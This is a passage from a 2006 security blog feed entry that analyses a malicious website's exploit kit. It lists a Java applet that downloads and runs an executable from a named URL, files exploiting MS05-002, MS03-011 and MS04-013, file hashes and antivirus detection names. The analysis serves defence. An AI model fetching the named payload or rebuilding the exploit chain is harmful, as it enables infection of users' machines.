"http://fullchain.net/psg/psj.exe"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;executes psg.exe using "Runtime.getRuntime().exec()" function&lt;/li&gt;&lt;br /&gt;&lt;li&gt;omfg literally means "oh my freaking god"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;View the JAD disassembled version &lt;a href="http://www.opensecnet.com/omfg.jad"&gt;here&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;li&gt;psj.exe&lt;/li&gt;&lt;ul type="circle"&gt;&lt;br /&gt;&lt;li&gt;md5sum - 453ebbe8de81bc687180231dc5612ece&lt;/li&gt;&lt;br /&gt;&lt;li&gt;same as web.exe used       by the byteverify bug in exploit #3&lt;/li&gt;&lt;br /&gt;&lt;li&gt;McAfee detects as       "Generic Downloader.ab"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Symantec detects as       "Trojan.Desktophijack"&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;Exploit #2 - MS05-002 Cursor parsing vulnerability&lt;br /&gt;Uses::&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;index.php&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;includes the ani       parsing setup code&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style=""&gt;indexit.php&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;also contains the ani       parsing setup code&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style=""&gt;psg.anr&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;current ani exploit       used by site&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style=""&gt;full.anr&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;no longer posted but       past ani exploit used by site&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;Exploit #3 - MS03-011 MS JVM vulnerability&lt;br /&gt;Uses:&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;indexit.php&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;contains call       specifically to the MS JVM to execute jar.jar in case both Sun and MS are       installed on system&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style=""&gt;jar.jar&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;Counter.class&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Gummy.class&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;VerifierBug.class&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;web.exe&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Worker.class&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Xeyond.class&lt;/li&gt;&lt;/ul&gt;&lt;li class="MsoNormal" style=""&gt;web.exe&lt;/li&gt;&lt;ul type="circle"&gt;&lt;li class="MsoNormal" style=""&gt;md5sum -       453ebbe8de81bc687180231dc5612ece&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;same as web.exe used       by the Sun bug in exploit #1&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;  &lt;p class="MsoNormal"&gt;Exploit #4 - MS04-013 MHTML vulnerability&lt;br /&gt;Uses:&lt;/p&gt;  &lt;ul type="disc"&gt;&lt;li class="MsoNormal" style=""&gt;main.chm&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19455371-113716614950794658?l=www.mullingsecurity.com'/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/113716614950794658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=19455371&amp;postID=113716614950794658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113716614950794658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19455371/posts/default/113716614950794658'/><link rel='alternate' type='text/html' href='http://www.mullingsecurity.com/2006/01/old-java-bug-exploited-from-ukraine.html' title='Old Java Bug exploited from Ukraine'/><author><name>Matt Richard</name><uri>http://www.blogger.com/profile/03544548724026559741</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='03025217166697762903'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>